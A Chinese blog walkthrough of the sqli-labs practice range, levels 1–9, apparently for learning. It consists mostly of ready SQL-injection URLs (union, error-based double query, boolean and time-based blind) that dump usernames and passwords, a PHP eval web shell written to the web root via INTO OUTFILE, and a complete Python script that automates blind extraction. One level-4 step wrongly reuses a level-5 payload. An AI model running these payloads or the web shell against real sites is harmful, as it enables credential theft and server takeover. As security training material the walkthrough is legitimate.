sqli-libs(1-10关)

最新推荐文章于 2024-01-29 09:25:16 发布
最新推荐文章于 2024-01-29 09:25:16 发布
阅读量467 收藏 2
点赞数
分类专栏： web学习 文章标签： sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44216796/article/details/109803711
版权

判断闭合方式

)
))
'
')
'))
"
")
"))
`
`)
`))
%
%)
%'
%')
%'))
%"
%")
%`
%`)
%`))

第一关（字符型注入）

  • 源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  1. 判断列数
 http://127.0.0.1/sqlilabs/Less-1/?id=1' order by 3--+
  1. 查看回显位
 http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,3--+
  • 爆破数据库名
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,database(),3--+
  • 爆破表名
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  • 爆列名
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
  • 爆数据
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

第二关（数字型注入）

  • 源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  1. 判断列数
http://127.0.0.1/sqlilabs/Less-2/?id=1 order by 3--+
  1. 查看回显位
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,3--+
  1. 爆破数据库名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,database()--+
  1. 爆破表名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  1. 爆列名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
  1. 爆数据
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+

第三关（’)'闭合）

  • 源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  1. 判断列数
http://127.0.0.1/sqlilabs/Less-3/?id=1') order by 3--+
  1. 查看回显位
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,3--+
  1. 爆破数据库名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,database()--+
  1. 爆破表名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  1. 爆列名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
  1. 爆数据
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+

第四关（"闭合）

  • 源码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
  • 运行看一下
<?php
$id='1';
$id = '"' . $id . '"';
echo $id;
?>
//结果："1"
//功能：给id参数加了两个双引号
  1. 判断列数
http://127.0.0.1/sqlilabs/Less-4/?id=1") order by 3--+
  1. 查看回显位
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,3--+
  1. 爆破数据库名
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,database()--+
  1. 爆破表名
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  1. 爆列名
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+
  1. 爆数据
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+

第五关(双查询注入)

  • 源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 基本知识
1. Rand() //随机函数，返回大于0，小于1之间的数

2. Floor() //取整函数，floor(rand()*2)返回值不是0就是1

3. Count() //汇总函数

4. Group by clause //分组语句

示例：

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

把concat((select database()), floor(rand()*1000)) 这个结果取了一个别名 temp ，然后使用他进行分组。这样相同的security0分到一组，security1分到一组。这里的database()可以替换成version(), user(), datadir()或者其他的查询。

  • 判断列数
http://127.0.0.1/sqlilabs/Less-5/?id=1' order by 3--+
  1. 爆破数据库名
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*), concat((select database()),floor(rand()*2))as a from information_schema.tables group by a--+
  1. 爆破表名
超出限制：
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*), concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+
limit函数：
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a--+
  1. 爆列名
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+
  1. 爆数据
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select null,count(*),concat((select concat_ws('~',id,username,password) from security.users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+

第六关

  • 源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

双引号闭合，将第五关中的单引号变成双引号即可。

第七关

  • 源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

两个变量：
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

以第一关为例

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select null,@@datadir,@@basedir--+
  • 写入shell
http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select null,null,'<?php @eval($_POST[cmd]);?>' into outfile "D:\\phpstudy\\WWW\\zhong.php"--+

第八关（布尔型盲注）

基本函数

length(str)：返回str字符串的长度。

substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始

mid(str,pos,len):跟上面的一样，截取字符串

 ascii(str)：返回字符串str的最左面字符的ASCII代码值。

ord(str):同上，返回ascii码

if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0
  • 源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 判断数据库名
http://127.0.0.1/sqlilabs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>114,1,0)--+

import urllib2
import urllib
 
 
success_str = "You are in"
getTable = "users"
 
index = "0"
url = "http://127.0.0.1/sqlilabs/Less-8/?id=1"
database = "database()"
selectDB = "select database()" 
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
 
 
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
 
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " 
selectTableNameLengthPayloadbehind = ",1)>=%d #"
 
 
# 发送请求，根据页面的返回的判断长度的猜测结果
# string:猜测的字符串    payload:使用的payload    length：猜测的长度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 发送请求，根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload    string:猜测的字符串    pos：猜测字符串的位置    ascii：猜测的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 注入
def inject():
    # 猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print ("length of DBname: " + str(lengthOfDBName))
    # 获取数据库名称
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)
    
    print ("current database:" + DBname)
 
    # 获取数据库中的表的个数
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print ("count of talbe:" + str(tableCount))
 
    # 获取数据库中的表
    for i in xrange(0,tableCount):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
        print ("current table length:" + str(tableNameLength))
        # 获取当前这个表的名字
        selectTableName = selectTable%(DBname, i)
        tableName = getName(asciiPayload, selectTableName ,tableNameLength)
        print (tableName)
 
 
    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 获取指定表的列的数量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print ("table:" + getTable + " --count of column:" + str(columnCount))
 
    # 获取该表有多少行数据
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print ("table:" + getTable + " --count of data: " + str(dataCount))
 
    data = []
    # 获取指定表中的列
    for i in xrange(0,columnCount):
        # 获取该列名字长度
        selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
        # print selectColumnNameLengthPayload
        columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
        print ("current column length:" + str(columnNameLength))
        # 获取该列的名字
        selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
        selectColumnName = selectColumn%(getTable, i)
        # print selectColumnName
        columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
        print (columnName)
 
        tmpData = []
        tmpData.append(columnName)
        # 获取该表的数据
        for j in xrange(0,dataCount):
            columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
            # print columnDataLengthPayload
            columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
            # print columnDataLength
            selectData = "select " + columnName + " from users limit " + str(j) + ",1"
            columnData = getName(asciiPayload, selectData, columnDataLength)
            # print columnData
            tmpData.append(columnData)
    
        data.append(tmpData)
 
    # print data    
    # 格式化输出数据
    # 输出列名
    tmp = ""
    for i in xrange(0,len(data)):
        tmp += data[i][0] + "    "
    print (tmp)
    # 输出具体数据
    for j in xrange(1,dataCount+1):
        tmp = ""
        for i in xrange(0,len(data)):
            tmp += data[i][j] + "    "
        print (tmp)
    
# 获取字符串的长度            
def getLengthOfString(payload, string):
    # 猜长度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 确定长度上限，每次增加5
    while 1:
        # 如果长度大于guess
        if getLengthResult(payload, string, guess) == True:
            # 猜测值增加5
            guess = guess + 5    
        else:
            lengthRigth = guess
            break
    # print "lengthRigth: " + str(lengthRigth)
    # 二分法查长度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
        # 如果长度大于等于mid 
        if getLengthResult(payload, string, mid) == True:
            # 更新长度的左边界为mid
            lengthLeft = mid
        else: 
        # 否则就是长度小于mid
            # 更新长度的右边界为mid
            lengthRigth = mid
        # 更新中值
        mid = (lengthLeft + lengthRigth) / 2        
        # print lengthLeft, lengthRigth
    # 因为lengthLeft当长度大于等于mid时更新为mid，而lengthRigth是当长度小于mid时更新为mid
    # 所以长度区间：大于等于 lengthLeft，小于lengthRigth
    # 而循环条件是 lengthLeft < lengthRigth - 1，退出循环，lengthLeft就是所求长度
    # 如循环到最后一步 lengthLeft = 8， lengthRigth = 9时，循环退出，区间为8<=length<9,length就肯定等于8
    return lengthLeft
 
# 获取名称
def getName(payload, string, lengthOfString):
    # 32是空格，是第一个可显示的字符，127是delete，最后一个字符
    tmp = ''
    for i in xrange(1,lengthOfString+1):
        left = 32 
        right = 127
        mid = (left + right) / 2
        while left < right - 1:
            # 如果该字符串的第i个字符的ascii码大于等于mid
            if getResult(payload, string, i, mid) == True:
                # 则更新左边界
                left = mid
                mid = (left + right) / 2
            else:
            # 否则该字符串的第i个字符的ascii码小于mid
                # 则更新右边界
                right = mid
            # 更新中值
            mid = (left + right) / 2
        tmp += chr(left)
        # print tmp
    return tmp    
        
 
def main():
    inject()
main()

第九关（时间型盲注）

  • 源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  1. 枚举数据库名
先判断能不能基于时间盲注来展开注入错误的语句 等了5秒才返回的 能基于时间的错误进行盲注
http://127.0.0.1/sqlilabs/Less-9/?id=1' and sleep(5)--+

爆当前数据库民称 这里我们使用二分法进行
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0,sleep(5))--+
立刻返回 证明第一个字母大于114
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5))--+
过了5秒才返回 证明字母小<115 应该是ascii115 s
  1. 枚举表名
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0,sleep(5))--+
直接返回大于100
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>105, 0,sleep(5))--+
过了5秒才返回  那么这是错误的，证明是在101-105之间
  1. 枚举字段
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5))--+
AZ09WY
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
靶场系列：sqllibs安装、sqli-labs靶场搭建以及闯关（1-22关）
weixin_54626591的博客
12-05 2775
sqllibs安装、sqli-labs靶场搭建以及闯关（1-22关）
sqli-libs闯关
weixin_43411799的博客
09-07 761
sqli-labs闯关less-1 文章目录sqli-labs闯关less-1sqli-libs简介 sqli-libs简介 sqli-lib是一个印度程序员写的，是用来学习SQL注入的闯关游戏，在本地搭建apache+mysql+php环境即可 ##系统函数 version() mysqls数据库版本 user() 数据库用户名 database()数据库名 @@datadir()数据库路径 @@version__compile_os操作系统版本 ##less-1 ####找注入点 我们可以在 ht
sqli-labs 1~10关教程
jiji_king的博客
04-04 5757
sqlli-labs 1~10关教程 第一关 输入?id=1 出现如下图 输入id=1’ 出现语法错误 表示这里可能出现sql注入漏洞 进一步尝试 输入 id=1’ --+ 发现回显正常 用order by 判断该语句有几列数据 ?id=1’ order by 3 --+ order by 3 回显正常 order by 4 显示错误 证明有三列数据 具体解释见： 于是使用 函数查询，此时要将id=1改为一个数据库不存在的数值 比如888，给后面查询语句留显示位。此时注入语句为： ?id=
sqli_libs通关教程
qq_48904485的博客
03-22 5348
less-1 单引号联合注入 1、判断是字符型还是数字型 Id=2-1 与 id=2 结果相同就是字符型 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xnvwRRTo-1647921807254)(C:\Users\23850\AppData\Roaming\Typora\typora-user-images\image-20211023110308434.png)] [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bmKZuH51-16479
sqli-libs系列
qq_43511094的博客
12-31 1578
sqllibs information_schema中的表实际上是视图，而不是基本表，因此，文件系统上没有与之相关的文件 information_schema库中常用的表 schemate 这个表就很强，可以显示所有数据库的信息，注意，是数据库，不是表，show databases 就是从这个表中获取数据，schema_name就
SQL注入学习part01：(结合sqli-libs学习：1-10关）
Q_U_A_R_T_E_R的博客
07-31 398
写在前面： 此博客仅用于记录个人学习进度，学识浅薄，若有错误观点欢迎评论区指出。欢迎各位前来交流。（部分材料来源网络，若有侵权，立即删除） SQL注入学习part01第一关第二关第三关第四关第五关第六关第七关第八关第九关第十关 第一关 登入界面 输入参数id=1 输入2，3，4到12都是正常返回 12以后无返回 在后面添加一个单引号返回报错 所以可知闭合符为单引号 2-1正常输出1的返回值，所以为基于单引号数字型注入 1' order by 3 # 判断表的列数
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
windows环境下安装sqli-labs
11-04
首先，我们需要下载 sqli-labs 源码，链接为 https://github.com/Audi-1/sqli-labs。然后，我们将源码解压到 web 目录下，在这里是 www 目录下。 数据库配置 接下来，我们需要配置数据库连接。在这里，我们需要...
sqli-lib64关闯关笔记学习资料.zip
08-22
《sqli-labs-1-65閫氬叧鏁欑▼share(by sm0nk).md》这个文件很可能包含了作者sm0nk在完成sqli-lib64所有65关的过程中所记录的笔记和技巧。通过阅读这份文档，你可以了解到每个关卡的关键思路、解题方法以及可能遇到...
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
sqli下载及安装(sqli-libs)-图文详解+phpStudy配置
wzhua的博客
09-12 3848
sqli下载及安装-图文详解 （配置phpStudy）+phpStudy下载链接 配置
linux sqli-libs 搭建及部署
f_e_n_g_的博客
03-30 441
sql-libs 简单搭建 个人简单理解
sqli-libs
wl7979的博客
12-21 331
第五关 双查询注入 什么是双查询注入？简单来说其实就是一个查询语句包含一个查询语句，实际上是报错注入的一种！ 这关通关的原理就在于：双注入查询需要联合和MYSQL的BUG来进行报错注入 在此之前，我们先掌握些必要的MYSQL函数： Rand() #产生0到1之间的随机小数的函数 Floor() #取整数函数 Count() #汇总函数 Group by #分组语句 Substr() #用于字符串加减 Ord() #将ascii码值转为字符 Mid() #字符串截取 Ifnull(exp1,exp2) #如
sqli-libs(1-6)闯关笔记(纯手注)
qq_40671478的博客
08-12 911
SQL/Less-1 单引号字符串型回显注入 1.判断闭合字符 http://182.92.220.201/Less-1/?id=1' #报错信息use near ''1'' LIMIT 0,1' at line 1 http://182.92.220.201/Less-1/?id=1' and 1=1 -- = #正常 #注意:注释符--后面要有空格 http://182.92.220.201/Less-1/?id=1' and 1=2 -- = #异常 http://182.92.220.201/L
安全小记-sqli-labs闯关
最新发布
山月不问人间事
01-29 1184
SQLI，sql injection，我们称之为sql注入。何为sql，英文：Structured Query Language，叫做结构化查询语言。常见的结构化数据库有MySQL，MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时，往往采用拼接的方式形成一条完整的数据库语言，而危险的是，在拼接sql语句的时候，我们可以改变sql语句。从而让数据执行我们想要执行的语句，这就是我们常说的sql注入。
零基础学SQL注入必练靶场之SQLiLabs（搭建+打靶）
热门推荐
Ms08067安全实验室
12-20 1万+
文章来源 | MS08067Web零基础就业班1期作业本文作者：giunwr、tyrant（零基础1期）SQLi-Labs是一个专业的SQL注入漏洞练习靶场，零基础的同学学SQL注入的时候，sqli-labs这个靶场是必练的，它里面包含了很多注入场景，以及在sql注入的时候遇到的各种问题，适用于GET和POST场景，包含了以下注入：一、作业描述完成sqllibs前18关，尽可能使用多的方法二、s...
[渗透]sqli-libs less-1-65
胖胖的ALEX
08-05 316
Lesson-1 GET - Error based - Single quotes - String(基于错误的单引号注入) ?id=1’ ?id=1’%23 Lesson-2 GET - Error based - Intiger based(基于错误的GET整型注入) ?id=1 and 1=1 ?id=1 and 1=2 Lesson-3 GET - Error based - Singl...
sqli_libs第五关
qq_42103643的博客
07-24 186
第五关 第一种：非常复杂，我也没太搞明白 order by 3正常，order by 4异常 ’ union SELECT null,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a–+ 查数据库名 union SELECT null,count(*),concat((select table_name from information_schema.table
sqli-labs-master前10关
07-28
回答: 在sqli-labs-master前10关中，可以使用不同的注入方法来获取数据库和表的信息。其中，联合查询、报错注入和sqlmap是常用的注入方法。联合查询可以通过判断注入点的类型、判断列数和使用order by语句来获取表名...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值